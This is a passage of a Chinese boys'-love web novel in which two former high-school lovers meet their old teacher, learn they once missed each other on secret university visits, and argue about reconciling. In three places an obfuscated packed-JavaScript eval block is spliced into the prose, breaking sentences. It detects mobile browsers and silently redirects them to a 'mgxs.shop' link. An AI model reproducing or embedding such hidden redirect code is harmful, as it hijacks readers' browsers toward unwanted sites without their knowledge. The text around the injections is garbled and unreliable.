他那沉浸在岁月里变得犀利的眼眸,此时也散开几分笑意,看着两人现在亲密无间地站在一起:“尤其是看你们这么多年都没变,连瑞原现在的样子都跟当初被我叫到办公室里的表情一样一样的。” 张连这话看似是对他们两个说的,实际上他一直在盯着杨瑞原。 杨瑞原的思绪下意识被扯回高中和路锦弛隐秘恋爱的那年。 当初他们混杂在班里男男女女小情侣之间,算是谈得最隐蔽的一对。 但张连能做这么多年班主任,眼光是何等毒辣。 在目睹了其他情侣都被陆陆续续叫到办公室后,杨瑞原和路锦弛提心吊胆地继续在课桌下勾手指。 晚自习前半段时间留给学生自己安排,学生都安安静静地坐在原位上写作业看书,秩序井然。 张连作为班主任来班里巡视了一圈,路过杨瑞原旁边时看见他正给路锦弛压低音量讲课上留的数学题。 两个人头紧紧挨在一起,路锦弛放在杨瑞原凳子上的手还不老实,勾弄杨瑞原同样放在凳子上支撑身体的手。 张连:“……” 他很有耐心地等着杨瑞原把这道题完整给路锦弛讲完才出声:“杨瑞原,到办公室来。” 说完也没等杨瑞原反应,先背着手老神在在地踱步回了办公室。 杨瑞原还以为有什么额外的任务要交代,利落起身跟了过去。 他在门口喊了声“报告”就推门,办公室里只剩了张连一人,其他班主任都已经下班回家。他扫视了一下张连的办公桌,没看见有需要发的资料。 张连看见他,和颜悦色地指了下对面的椅子:“坐下谈吧。” 杨瑞原没想清楚有什么事还需要把他叫到办公室单独说,但他还是乖乖坐下听张连讲话。 张连:“别紧张,老师找你来就是想了解下情况。” 他顿了顿,话堵在喉头辗转几番,还是直戳了当问道:“你和路锦弛同学,关系很不一般呐。” 张连每次抓到小情侣,开口第一句就是“你们关系不一般啊”。 杨瑞原的脸瞬间爆红,他的手指死死绞着校服边角,下意识地就想站起来鞠躬道歉,磕巴了好几下:“我、我……” “不用不用,别紧张啊别紧张。”张连按住他,“老师又不会因为这点小事骂你还是告家长怎么样,先坐好。” 杨瑞原被他按得放弃了站着挨训的想法,只是嘴唇依旧紧紧抿着,整个人还是惴惴不安。 张连打量着自己的得意门生,叹气道:“看你这个反应,那我的猜测果然没错。不过我更想知道,你们两个怎么谈到一起去的?” 杨瑞原欲言又止、止言又欲。 如果让自己说为什么和路锦弛谈恋爱,他也说不出一个所以然。 也许是因为高中如同一潭死水让人失去了激情,埋藏在内心深处蠢蠢欲动的叛逆上涌,叫嚣着要干一件隐秘刺激的事;也可能是路锦弛就像青春救赎文学里的主角一样,在他日复一日压抑沉默的生活里掀起波澜,让杨瑞原在不知不觉中沦陷。 所以在一个再平常不过的晚上,路锦弛在回家途中、在他们即将分别之际拥抱住了杨瑞原。 杨瑞原被他突然的拥抱惊得怔住,路锦弛最近的举动都莫名其妙的,时常盯着他发呆,动不动黏黏糊糊地和他挨在一起,还爱给他单独起一些亲密的爱称。 杨瑞原总感觉他们之间有什么东西悄然发生了变质,但他默许了这种变化,放任它肆意生长成了现在这样的状况。 他在路锦弛直起身子后感觉到怀里僵硬的肢体,还有路锦弛羞涩到几乎听不真切的表白:“好喜欢你啊,阿原。” 然后就莫名其妙确定了恋爱关系。 张连还在耐心等他的回复,杨瑞原斟酌片刻,小心翼翼说:“嗯……因为……他关心我?和他有共同的目标、跟他日常相处很舒服……” 他越说音量越低,张连颇有些恨铁不成钢:“就因为这样?” 杨瑞原弱弱点头。他还真就是因为这些平平无奇的日常,和路锦弛日久生情了。 张连似乎被这么敷衍的理由无语住了,想到杨瑞原说的理由,再结合他之前家访杨瑞原时了解到的一些情况,头疼道:“那确实也不奇怪……” 杨瑞原被家里的极强控制管束得束手束脚,家长又常年因为学习而忽略了他心理和精神上的需求。 这时候突然来了个路锦弛犹如神兵天降,给足了他关注,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“哎还有。”张连在他即将出去的时候叫住他,“上课的时候就别再偷偷搁底下拉小手了,你俩真以为前面的人给你们挡死了吗!收敛着点! “你不是说谈恋爱能帮他辅导功课吗,你就负责把他的成绩给我往上提。顺便告诉路锦弛,你俩但凡在恋爱期间成绩倒退,就等着我把你们拆散,东北角坐一个西南角坐一个。” “好的老师!” 杨瑞原最担心的事告一段落,就连回教室的步伐都轻松了不少。 路锦弛还在原位孤苦伶仃地等他,听到门口的动静侧过脸和他对视上,眼睛倏地亮了几分。 …… 张连好像不知道他们两个已经分手,杨瑞原的眼神不由自主地飘向路锦弛,却发现后者也不经意间望着他。 这种和前任逛街偶遇当初共友、还被起哄打趣一样令人无地自容。 杨瑞原还在想怎么跟张连解释,路锦弛已经光明正大牵起他的手:“是啊,没变。” 10.擦肩 杨瑞原下意识地回握住路锦弛的手。 掌心的温度仿佛顺着相触的皮肤表面传递而来,上一次这么亲密都不知道是几年前。路锦弛好像被他的这个动作逗乐,杨瑞原听见了他低低的一声笑。 “你们好着就行。”张连也没在这个话题上继续。 他后面又问了一些他们大学时期的事,得知杨瑞原的旧手机丢失连带着联系方式也断了,硬是要加上他的新号。 期间张连还一直絮絮叨叨不知道在和路锦弛聊什么,杨瑞原全程放空,只是机械地用空闲的那只手拿出自己的手机准备扫码,整个人飘飘然,只有手上那点触感才是最真实的。 “你俩要真想回高中看,就等开放看考场的那天回来逛逛。”张连一边等杨瑞原新号的好友申请一边唠叨路锦弛,“自从你小子上次偷溜进来,学校就下令写检讨才能放人出去,我捞都没用了……” “滴——”的一声,扫码成功的系统音把杨瑞原的注意力拉了回来,张连已经收了手机:“行了,我也不多打扰你们了,你们逛去吧,我也去散步。” 他最后瞥了眼两人十指相扣的手:“常联系啊!” 目送着张连消失在视线范围内,杨瑞原舒了口气。 路锦弛看着杨瑞原放空的眼神,拉着他的手在眼前猛地一晃:“想什么呢?走吧。” 杨瑞原被他的动作惊得往后退了一步,右肩撞上路锦弛的胸膛。 他迟缓地感觉到手心的濡湿,和路锦弛掌心相扣得太久,指节都有点僵硬。杨瑞原动了动手指,想松开路锦弛的手,却被对方抓紧,大拇指在他右手的疤痕处轻轻摩挲,根本没有要松手的意思。 杨瑞原学着他故技重施,带着路锦弛的手往他腰上撞了一下:“人都走远了,还牵着热演呢?” 路锦弛不满:“谁说我是演的了?我是真情实意。” 杨瑞原嘟囔:“分都分了……” “分了也能复合。”路锦弛说,“这么排斥我,刚刚在老张面前怎么不说分了?不还是说明放不下我。” 放不下是一回事,但是从“放不下”的当事人口中说出来就变了味。 杨瑞原被他说得面红耳赤,耳朵尖的温度也滚烫起来:“我不跟你说,幼不幼稚。” 每次一到这种小学生式吵架,杨瑞原都吵不过路锦弛的流氓逻辑,只会沉默地把他拨开。 路锦弛就知道他会这样,轻笑着看他又一次甩开自己的手,目光移到别处转移话题:“老张是真能唠啊……听你刚刚说的话,你大学还有公休啊?” “有啊。”杨瑞原回答得漫不经心。 A大的公休正好是星期五下午,和周末连在一起。 路锦弛:“哦,那你大三课多吗?” “大三?好像不是很多吧。”他的问题太跳跃,杨瑞原一头雾水,用了点力拉住他,“你到底想问什么?” 路锦弛没看杨瑞原投过来的眼神,动作有点欲盖弥彰的慌乱:“……没什么。” 杨瑞原给他下了最后的通牒:“有话就说。” “那我真说了啊?” 路锦弛小心翼翼看他,见杨瑞原神色如常,直言不讳道:“大三那年,我去你学校找过你。” “什么???” 路锦弛不说不知道,一开口就是重磅炸弹: “我跟庄晓笙要来了你的课表,周一一整天都没课,周五下午还有公休。我想着你假期时间很长,就飞去你学校了。” 杨瑞原和庄晓笙是同专业不同班,两人课表重合率极高。为了方便对方给自己在公共课上占座,他们两个交换了课表。 庄晓笙这家伙居然反手就给他卖了! 路锦弛继续道:“不过我到了之后没见到你。你那次是去旅游了吗?” 杨瑞原极力搜刮当时的记忆。 大三只有一次他趁着休假跑了出去。 他从庄晓笙那里打听到了路锦弛所在的大学和班级,趁着自己好不容易得来的长假,连夜飞到了另一座城市。 杨瑞原之前从没到过C城,陌生的环境和方言让他的失措犹如潮水般涌来,他背着为数不多的换洗衣物到了临近C大的酒店,看着几经辗转才到自己手上的路锦弛的课表,准备周一早上就去他的公共课上,见一见多年未曾谋面的前男友。 断联三年,没想到再见面居然是像小情侣一样,跑去和人家上课。 杨瑞原坐在路锦弛会出现的教室里,被自己的想法逗笑。 到教室的学生挨个签到,杨瑞原压低帽檐趴在桌子上,努力降低自己的存在感。 “……路锦弛?”老师在上面点没签到的人名,“学委知道这个同学什么情况吗?” 杨瑞原倏地抬眼,才看见未签到那一栏里只有路锦弛的名字孤零零地挂在顶端。 一股不好的预感油然而生,从心脏蔓延四肢百骸。果然下一瞬有人回答道:“老师,他今天和明天都请事假了。” …… 杨瑞原忘记当时是怎么从教室里浑浑噩噩地溜出来的,他为此行提前半个月就开始计划买票,每一分每一秒详尽规划,就连见面后的第一句话、要送出什么都已打好了腹稿。 精心计划的一切破灭,杨瑞原感觉失望带来的凉意要冻僵他的躯体。 路锦弛请假这件事打得他头脑发懵,等他再回神,已经失魂落魄地回了酒店。 庄晓笙的消息恰好在此时发来:“我来找你参加活动没找见,你不在学校吗?” 杨瑞原连打字时肢体都变得软绵绵的,有气无力回道:“不在。那个活动我退掉了,不好意思。” 庄晓笙:“没事,我自己去吧。你是出去旅游了?” 杨瑞原思考一番,决定还是不告诉她自己其实是来C市见前男友:“对。” 庄晓笙:“行吧,玩得开心。” 回完庄晓笙,杨瑞原彻底泄了气。 明明他还和其他同学了解过路锦弛基本不请假,为什么好巧不巧在他来的时候不在学校;C大也就这么大,但只要其中一方不刻意制造偶遇,原来也是见不到彼此的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145632|194888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那时挫败的滋味仿佛又生根发芽,但在这一刻,杨瑞原知道了他们擦肩而过的答案,将这遗憾的窟窿用他们的言语一针一线缝补。 他没有直接回答路锦弛的问题,整个人倚在粗大的树干上,撩起眼皮睨向路锦弛:“你为什么挑着我长假的时候去找我?放不下我?” “是啊,不明显吗?还是你觉得我在开玩笑?”路锦弛冷静地和他对视,“你还没有说你那次去了哪里,为什么不在学校。” 他们两个僵立在原地,又是一场用眼神较量的博弈。 像重逢时一样,杨瑞原最先瞥开目光。 他也没有再藏着掖着:“没有去旅游。” 迎着不远处教学楼上星星点点的灯光,杨瑞原深呼吸一口气,坦然道:“我当时也去了C大找你。” 路锦弛似是没料到这个回答,惊诧地看着杨瑞原。 “我向其他高中同学打听到了你的课表,所以趁着那次长假,想去见见你。”杨瑞原觉得好笑,喃喃道,“没想到当初没见到,原来是因为你也去了A大…… “这算是我们太有默契,还是太没默契了?” “我还以为……你是依旧不想见我,所以让庄晓笙打发我说你去旅游了。”路锦弛垂下眼睫。 推心置腹的话敞开在明面上,却是让两人双双沉默。 良久,路锦弛才低骂一声:“靠……这都什么阴差阳错的事。不是说大学谈恋爱更容易吗,这么比高中还难……” 杨瑞原没搭腔,手指在树干上无意识地抠着表皮。 “要是我们……”路锦弛面向轻柔的风,神色正经认真地望进杨瑞原的眼底,“能回到高中就好了。” 或许是这句话太有歧义,杨瑞原迟迟没回答,路锦弛补充道:“要是我们两个也能回到当初那样就好了。” 回到高中时肆意的恋爱、回到再也无法复刻的青春,去再感受一次爱在顶峰之际的心动和甜蜜。 杨瑞原几乎是瞬间读懂了他的眼神。晚风拂过残存的枝丫,杨瑞原说不清听到这句话后为什么会呼吸一滞,只知道树枝间摩擦的沙沙声遮盖不住逐渐欢腾的心跳。 可惜杨瑞原也只是愣了一下,随即嘴角勾起自嘲的弧度:“算了吧,太苦了。” 也不知道是在说什么太苦。 看上去他们好像真的很在意对方,爱对方爱到天涯海角,所有误会都在今夜说开、解开了他们心中的芥蒂,但杨瑞原知道,这只是他们重归于好的第一步。 杨民善和魏淑萍得知他们在一起后扭曲的面孔、陈智恒和庄晓笙当时看破他们恋爱时那过激的反应和难以启齿的表情,一帧帧像凌迟一般在杨瑞原脑海里放映。 这些都不重要,这些都不是当年致使他们分开的真正原因。真正的原因只有他们自己看破,才不会让这段感情再次重蹈覆辙。 路锦弛目光晦暗,声音带着委屈:“你知道我在说什么的。” “我知道。”杨瑞原又一次毫不留情地打断他,“所以我说,算了吧。” 11.谈谈 杨瑞原的拒绝太过直白,路锦弛愣怔了好久都没反应。 刚开始迎合心动的晚风都戛然而止,只感觉周遭的氧气好像都稀薄起来,压得他们都喘不过气。 路锦弛陪着杨瑞原放慢脚步、站定:“我能问问为什么吗?” “到底是哪里交流得不够彻底,我们之前的误会不是都说开了吗?”他的语气有些急躁,连带着拉住杨瑞原的动作幅度也大了些,“而且我们明明都放不下对方……” “是,我放不下你、你也放不下我。”杨瑞原坦然承认道,“我们只是说清楚了误会,但是让我们分开的又不是这个原因。 “回到那时候又能怎样?再继续因为一点小事互相猜忌、再大吵一架,没有得到解决方案就别扭和好吗?让感情再破裂得更彻底一点?” 杨瑞原几乎是不过脑子地把积攒多年的想法一吐为快:“这么多年了,路总,你对待感情还是这么天真无邪的片面,我们甚至还是能因为平平无奇的一句话吵起来。” 二月的风还带着冬天的寒冷,他们两个伫立在原地,任由冷风如锋利的刀子一般刮过脸颊,把他们面上伪装出来的坦然一刀两断。 路锦弛被这句话说得脸黑如墨,看上去还想追问,杨瑞原制止他:“天太冷了。我不想我们在外面说这些。” 路锦弛默默道:“那就回家。” 小区离得不算太远,加上晚高峰开车十五分钟就到了。 路锦弛把车稳稳停到车位上,杨瑞原拎起凉掉的吃的下车,和路锦弛慢悠悠走在回家的路上。 他们相顾无言地进了电梯,杨瑞原按下20楼后就缩在角落,小小的电梯也被无形的屏障隔成两个互不相扰的世界。 平时慢吞吞的电梯今天升得倒是快,杨瑞原依旧第一个出了电梯,准备开门时路锦弛凑了上来:“亲爱的,我觉得我还有解释的必要。” “随便。”杨瑞原没拒绝,挪开身子让他进了屋。 杨瑞原屋子里的陈设和路锦弛记忆里的样子相差不大,他搬进来也就是添置了一些小家具和花花草草之类的小玩意儿。 杨瑞原把手里一直拎着的板栗袋子放到了茶几上,去餐厅给路锦弛倒了杯水。 路锦弛跟回自家了一样,懒洋洋地靠在沙发上,把那袋板栗捞到自己面前,明明是他提出的谈谈,现在倒是装聋作哑了起来。 还是杨瑞原看不下去他一直在那咔咔剥栗子,率先问道: “你觉得我们当时吵架,大部分原因是什么?” 这是个刁钻又一针见血的问题。 在此之前他们吵过了大大小小的架,从没有一刻停下来分析为什么感情走向会变成这样,而是在不断地产生问题、冷战、受不了从而一方示好的循环里把路走死。 杨瑞原目光平静地盯着路锦弛,看后者整个神态开始放空分析。 “因为我总觉得我的付出和回报不对等。” 思考过后,路锦弛终于开了口。 “比如你为什么一直不愿意在外面坦白我们的恋爱关系,还有面对我时好像和其他人没什么两样,平淡无奇。 “所以我一度怀疑你对我只是抱着玩玩的态度,对这段感情并不看好。可是——” 他手上动作没停,解释道:“可是我现在已经想通了,如果不在意这段感情就不会千里迢迢飞到我在的地方,不袒露也是因为你想给我们都留后悔的余地……这些问题我也反思过了,是我没有安全感。” 他剥栗子的手法娴熟,说话的工夫一颗颗圆润金黄的板栗在茶几上排了一列队。 路锦弛接着道:“我现在对感情的看法确实很天真,这我承认。但是杨瑞原,你呢? “你老是觉得那时候都是头脑发热的一时兴起,总是假设我以后会遇到什么更对的人、因为原则性的问题分开,你根本不信任我。 “我这些年见过很多人、对自己的情感认知很清晰,我可以告诉你,我就是那个会在一棵树上吊死的人。 “杨瑞原,多给我点信任好吗?” 路锦弛神情诚恳地望着他,杨瑞原嗫嚅几下。路锦弛的语气太可怜,杨瑞原一时间都不知道如何回答。 他又忍不住回想起他们第一次发生矛盾的时候。 因为一个简单的“爱不爱”的信任问题,路锦弛常常从他背后冷不丁冒出来求证:“杨瑞原,你爱我吗?” “阿原,能不能多关注我一点?” 杨瑞原虽然内心不解为什么会有人要在这种事情上如此纠结,况且他对路锦弛的好已经远超他人,但也一遍遍不耐其烦地回应路锦弛的不安:“爱啊。” “好啊。” 看起来有些敷衍的回答,但确实是杨瑞原最真诚的答案。 结果就因为答得不满意,他们两个闹了小小的不愉快。 当时闹完矛盾,他们后续的处理只有冷战,而且大多数以路锦弛开头。 路锦弛的冷暴力来得莫名其妙,杨瑞原经常搞不懂他到底想要一个什么样的答案,只知道每次冷战期间叫路锦弛的名字,得到的只有故意的不搭理和他转头和其他同学欢声笑语的背影。 不管在哪种关系里,杨瑞原都觉得这种避之不理甚至冷暴力的态度幼稚至极。 他内心敏感,最讨厌的就是别人突如其来的冷暴力。路锦弛明明知道,但还是这么做了。 杨瑞原再又叫了一遍路锦弛的名字被无视后,身上聚焦了多多少少奇异的目光。 尤其是庄晓笙和陈智恒,眼神里呼之欲出的“你们到底发生什么了”的疑问要涌到他脸上。 杨瑞原强迫自己忽视这些视线,即使他们没有恶意,但打量的目光依旧让他如芒刺背。 被无视多了,他也心生不满。 庄晓笙憋了好久,才敢趁着路锦弛上黑板写题的时候偷偷摸摸问:“你俩咋了?” 杨瑞原冷哼一声:“不知道。没有关心普通同学的义务,别问我。” 这话恰好让下台的路锦弛听得一字不漏,眼神冰冷地瞥了一眼他们,什么话也没说,只是把自己的桌子移开了些许。 经历了有史以来冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156104|194888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战时间最长的杨瑞原彻底没了心力,和庄晓笙吐槽道:“他到底还要幼稚到什么时候?” “大哥,恋爱不是你俩谈的吗。”庄晓笙无奈道,“你俩随便一个服个软,把话说开不就好了?” 犟种其一拒绝服软,并且发愁道:“怎么能有这么不成熟的人……” 他的脑回路一转:“那你说他以后成熟了,难道就不会遇见更好、更契合他的人了吗?” 庄晓笙差点被杨瑞原带偏:“这两个到底是怎么联系在一起的……?” 杨瑞原:“他现在的做法这么幼稚,万一哪天突然反应过来对自己的其实不是爱,只是超过了朋友界限的暧|昧,然后遇到他命中注定更适合他的人了怎么办?” 庄晓笙:“……你现在担心这个是否有点超前?高中谈对象不都是解个闷逗个乐吗?” 杨瑞原没回答,只是想起张连给他说的话:“年少时候的海誓山盟可以张嘴就来,关键要看你们以后怎么样。” “高中谈的恋爱有几个能长久?”…… 此时此刻,他才真正开始剖析这些话。 姜还是老的辣,感情还是老一辈的看得透。 庄晓笙看他半天没回应,震惊道:“我靠,你俩居然是真心的吗?” 杨瑞原:“……原来你们都是认为我们开玩笑的吗。” 他没有给路锦弛说过自己的胡思乱想,说出来只会让他们吵得更凶。 高中生正是要脸面的犟种时期,谁也不肯低头给台阶。脑子里又爱想些天马行空不切实际的东西,于是路锦弛愈发肯定杨瑞原只是把这段恋爱看成闹剧,杨瑞原渐渐也疲于解释。 后面不知道是谁先败了阵,他们又拧巴地重归于好。 然后又因为类似的事情冷战、和好,再冷战…… 如此循环往复,把他们的耐心都消耗殆尽,终于在高考前见的最后一面通通把内心压抑许久的想法开诚布公。 …… “路锦弛,你当初也没有很信任我,就像我固执地认为你后面会变心一样。” 杨瑞原转移视线,手指一弹栗子,打乱了路锦弛耐心排列的队形:“导致我们分开的原因太多了,外界的不看好、你的不安全感和冷暴力、还有我自己偏执的想法。” 路锦弛:“我知道,所以这些年我们都再改,努力想和好不是吗。” 杨瑞原心直口快:“改了也回不去之前。反正都是过去的事了,我也不喜欢旧事重提。” 此话一出空气都凝滞了,两人身边充斥着寂静。半晌,路锦弛才目光沉沉道:“好,我尊重你的想法。” 他把剥好的板栗全拢到杨瑞原面前,自己提溜起垃圾和剩的小半袋板栗就要走人。 杨瑞原下意识叫住他:“你剥好的不拿?” 路锦弛潇洒挥手:“本来就是剥给你的。走了。” 他走到门口,在搭上门把手的那一刹那又回头,珍而重之地和送他出门的杨瑞原道: “你说你只是不想旧事重提,又不是不能追你对吧?”